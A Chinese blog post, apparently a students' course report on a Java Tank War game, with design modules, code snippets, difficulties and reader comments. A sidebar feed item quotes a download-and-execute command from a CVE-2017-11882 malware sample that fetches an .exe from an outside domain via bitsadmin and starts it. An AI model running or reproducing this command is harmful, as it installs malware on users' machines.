文档章节

新版坦克大战

伊诗塔
 伊诗塔
发布于 2014/04/10 20:52
字数 2548
阅读 4442
收藏 154

作者:陈伟         2011211927             0491101

          王延友      2011211834             0491102


一、总体设计

1.1 具体设计

游戏包括的范围:本游戏包括主类、坦克类、子弹类、爆炸类、墙类、血块类。

需求

模块

产生游戏的屏幕

主类模块

将坦克大战的过程呈现在屏幕上


画出坦克

坦克类模块

控制坦克的移动并让坦克可以攻击


让坦克不可以穿越墙或别的坦克


添加坦克的图片


画出子弹

子弹类模块

控制子弹的移动


各种子弹


让子弹不可以穿墙


添加子弹的图片


子弹打墙的爆炸

爆炸类模块

画出爆炸的过程


控制坦克的爆炸


添加爆炸的图片


画出墙

墙类模块

实现墙的功能


画出血块

血块类模块

让血块围绕着固定的轨迹移动


实现血块的功能


1.2 游戏特点

我们设计的这款坦克大战和以前的区别我感觉挺大的,主要区别如下:

1,在我们设计的游戏里面坦克的炮筒更接近现实,那就是炮筒可以旋转。炮筒会指向鼠标所指的方向。

2,我们不止是我一个坦克。我们有队友,队友都是由电脑控制的坦克。

3,加血道具我方任一坦克都能吃,不只是玩家控制的坦克可以吃。

4,不管是敌方还是我方都能发多种子弹。但是特殊子弹的数量有限。

5,我们新添加了导弹,只有玩家控制的坦克才可以吃导弹。


1.3 类的层次结构图

1.3.1 坦克类的层次结构图

1.3.2 道具类的层次结构图

1.3.3 子弹类层次结构图

1.3.4 爆炸类层次结构图

1.3.5 坦克客户端层次结构图

1.3.6 墙类层次结构图

1.4 系统流程图

二、程序描述

2.1  主类模块

主类是要画出屏幕,并且要将坦克之间打斗的全过程都呈现出来的,所以要先产生一个窗口,窗口产生之后应该要不停的刷新,否则屏幕会定格成画面,用多线程来控制刷新的频率,如果此时屏幕出现闪屏现象,应该用双缓冲机制来画出屏幕。双缓冲机制是通过虚拟出一张图片,将屏幕画在这张虚拟的图片上,再将这张虚拟的图片呈现在屏幕上。

   画面重画的类如下

class RepaintThread implements Runnable // 画面重画线程
{
    public void run() 
    {
        while (repaintFlag) 
        {
	    try {
		repaint();
		ut.move(); // Tank定时移动
		Shot tcShots = null;
		for (int i = 0; i < shotsList.size(); i++) // 界面上的子弹定时移动
		{
		    tcShots = shotsList.get(i);
		    tcShots.move();
		}
		    Thread.sleep(33);
		} catch (InterruptedException e) {
		    e.printStackTrace();
		    System.exit(-1);
		}
	    }
	}
}

2.2 坦克类模块

该类实现在屏幕上画出坦克,并控制坦克的移动,让坦克可以发射炮弹打对方等功能。

画出坦克的方法如下:

public void draw(Graphics g) {
    if (!init) // 读入炮筒图片
    {
        init = true;
	this.setTurretDir(new Point(turretDirx + 10, turretDiry + 10));
    }
    if (isLive) {
	if (this.camp) {
	    switch (tankDir) {
	    case U:
	    case D: {
	    g.drawImage(imgMap1.get(tankDir), x - 18, y - 19, null);
	 }
	break;
	case L:
	case R: {
	    g.drawImage(imgMap1.get(tankDir), x - 19, y - 18, null);
	}
	break;
	default: {
	}
	break;
	}
	} else {
	    switch (tankDir) {
	    case U:
	    case D: {
	    g.drawImage(imgMap2.get(tankDir), x - 18, y - 19, null);
	    }
	    break;
	    case L:
	    case R: {
	        g.drawImage(imgMap2.get(tankDir), x - 19, y - 18, null);
	    }
	    break;
	    default: {
	    }
	    break;
	    }
        }
            g.drawImage(bTurretImg, x - 32, y - 32, null); // 绘制大炮
            this.tankHitPoint.draw(g); // 绘制出Tank的血量
	} else {
	    if (tankBomb != null)
	    tankBomb.draw(g); // 绘出坦克爆炸
	}
}

2.3 子弹类模块

该类实现在屏幕上画出子弹和子弹的移动轨迹以及实现了坦克攻击墙壁与攻击敌方坦克的功能,而且我们设计的是各种各样的子弹,比如我方就有闪弹,敌方除了普通的子弹外还有能够穿墙的子弹。由于代码较长,我就不贴出来了。

2.4 爆炸类模块

该类实现了在屏幕上画出了坦克爆炸的情景,我们采用了连续播放图片的效果来体现爆炸,我们的爆炸效果如下:


2.5 墙类模块

游戏里面我们的墙比较单一,这也可以说是我们游戏的一点不足。我们画出的墙的效果如下:

2.6 血类模块

血主要有两种,一种是加血的道具,二是坦克本身的血量。加血道具我们的设计就是,我方任一坦克吃了之后能回复一点血量。而不同于以前的是不是只有玩家操作的坦克才能吃加血道具。实现后效果如下:


三,功能演示

3.1 开始画面:

游戏的开始画面我们展示了玩家将要进入第一关,具体效果如下:

3.2 游戏菜单

我们的游戏菜单有:开始游戏,暂停游戏,继续游戏,以及对游戏的一些设置。效果如下:

3.3 游戏画面

具体的游戏画面如下:

屏幕左下方的60代表玩家坦克闪弹的剩余数量,上面的五个小圆是导弹的剩余数量。而右下角的爱心是加血道具,下面就是玩家可以吃的两枚导弹。


当我们胜出后会提示是否进入下一关,效果如下:


四、实现时遇到的问题

在这个程序实现中我们遇到的困难其实很多,因为程序过大,所以长期是一小点错误就会出现很奇怪的行为。在这其中我列举一下遇到的最大困难。

1:炮筒如何360度旋转,这个问题开始我们想了很久,到底该如何旋转。转到鼠标所指的方向,可能是由于数学功底太差。我们没有想到用数学的方式解决。最后我们的解决办法是用三角函数解决的,算出当前的角度就OK了。

2:就是开始菜单的使用,我们这个开始游戏开始一直不成功。开始时不成功主要是点了没反应,我们是加了监听的。没点开始游戏就已经开始了。这个问题解决了之后又遇到了新的问题就是一点开始游它就给你弹出一个新的窗口,不是在原来的窗口基础之上开始游戏。之所以出现这样的问题是由于我的界面不是一个panel类,而是一个方法。所以就添加了一个MyStartPanel extends JPanel类。并且实现Runnable接口,实现一闪一闪的界面效果。然后在开始游戏监听函数里面,创建一个坦克客服端对象。调用启动界面函数。就开始游戏了。 这样问题就解决了。

3:坦克之间的碰撞检测。其实这个问题想起来这个问题蛮简单,因为实际的坦克图片是一个矩形框。只要两个矩形框之间不要有交叉就可以了。想法虽好,实现不易啊。开始我们的方法很繁琐,没有写一个统一的方法来判别。

其实困难重重,经常遇到很奇怪的问题。比如说子弹的发射问题之类的。所以我就列举了主要的问题。

五、心得体会

陈伟心得体会:之所以想做坦克大战是由于我对坦克大战有种感情吧,从小就是这个游戏陪我度过我的童年。以前我都很好奇这个游戏是怎么做的,现在自己学了编程语言。所以有种很强烈的愿望实现一下,并且加进自己的思想。一开始做的时候还很兴奋。可是后来遇到各种问题我的兴趣就会被打击到。但是在这其中我得到了一个对于我来说很重要的经验。那就是遇到问题是要淡定,不要浮躁。只要你一直坚持研究这个问题的解决方法,到最后它一定会被解决的。其次,我也发现自己做这种大的项目还有很多不足。欠缺编程能力。所以编程能力确实有待提高。在这其中我觉得软件工程的思想是很重要的,软件工程学了还是有很大用处,现在我对软件工程的理解还不够深入,需要进一步的学习才行。

王延友的心得体会:这次的作业是要求完成一个游戏的改进或者修改成3D的。由于我平时不怎么玩大型游戏,多3D游戏了解得不多,在拿到这个题目时,的确不知道怎么入手,刚好最近在观看韩顺平老师的java视频。他里面有一个案例是编写坦克游戏,于是想到不如我模仿这个游戏吧,没想到我的组员和我想到一起去了。他也是计划写这方面的游戏。我们算是不谋而合。然后就是开始观看视频,按照那些方法开始编写。但是每每都是看着简单,要自己动手的时候就不是那么简单了。由于我们花了很多时间去设计和编写元素类,所以界面不是很漂亮,而且还有些功能还不能实现。也说明我的能力还欠缺,还得好好努力。同时我也从队友哪里学到了思想的重要性,刚开始的时候不能太注意细节,先要考虑到整体的框架,不然就无法开展工作了。后面才是完善细节的时候。

© 著作权归作者所有

共有 人打赏支持
伊诗塔
粉丝 8
博文 2
码字总数 3270
作品 0
云阳
加载中

评论(22)

小薇
小薇
建议学一些游戏引擎,开发游戏去吧
水牛叔叔
水牛叔叔
能静下这份心来写这玩意,太猛了,佩服
cnkens
cnkens
不错,想法和思路都不错。
J
Josephwoo
膜拜一下
狮子的魂
狮子的魂

引用来自“狮子的魂”的评论

Nice work, 我和你写了个类似的,不过我加入一些AI坦克。。。http://www.oschina.net/p/tankwar

引用来自“伊诗塔”的评论

你做的好多了。

首先就觉得你的界面很不错,设计也很好。。。我的素材就是网络上东下一个西下一个,自己不怎么会处理。。。

taojinhuo
taojinhuo
看起来还不错
杨同学
杨同学
牛逼啊
南湖船老大
南湖船老大
好厉害
一叶知秋0
一叶知秋0
赞一个
xxlv
xxlv
能联网么?
Java__线程---基础知识全面实战---坦克大战系列为例

今天想将自己去年自己编写的坦克大战的代码与大家分享一下,主要面向学习过java但对java运用并不是很熟悉的同学,该编程代码基本上涉及了java基础知识的各个方面,大家可以通过练习该程序对自...

x-knight_勋爵
2016/04/02
0
0
JAVA实现经典坦克大战及源代码下载

一、简单介绍 这是一个功能相对全的JAVA版坦克大战,界面绘制是通过JAVA的图形化用户界面完成的,包括了菜单界面和游戏界面。其中菜单界面可以供玩家选择重新开始游戏、暂停、继续、是否播放背...

a1275302036
2017/01/08
0
0
自己想了下坦克大战的优化思路,求大大门指点。

自学了4个月多些的java。熟练了JAVASE,会点JS,XML,JDBC,其中JSP还没学。 之前写过一个坦克大战,但是基本没有扩展性。 于是想了一个优化的思路: 1,把坦克大战所有的事物共性抽离成为一...

DONFANS
2012/12/16
445
5
坦克大战游戏平台--CodeGame

Code Game 是一个使用 JavaScript 代码编写 AI 脚本来和他人进行对抗的游戏平台。 Code Game 以坦克大战游戏为原型,每局比赛由两名玩家参与,每名玩家以事先编写好的 JavaScript 脚本参与比...

红薯
2014/12/03
1K
0
C++实战项目:坦克大战(一)

  对坦克大战情有独钟是因为大学时候第一次参加程序设计比赛就做的这个游戏。当时用的语言是Java,那个比赛让我悟出了面向对象的强大之处,我也是从那时开始接触设计模式的。对我而言,坦克...

qq_26046771
2017/03/26
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
12分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
25分钟前
0
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
26分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
37分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部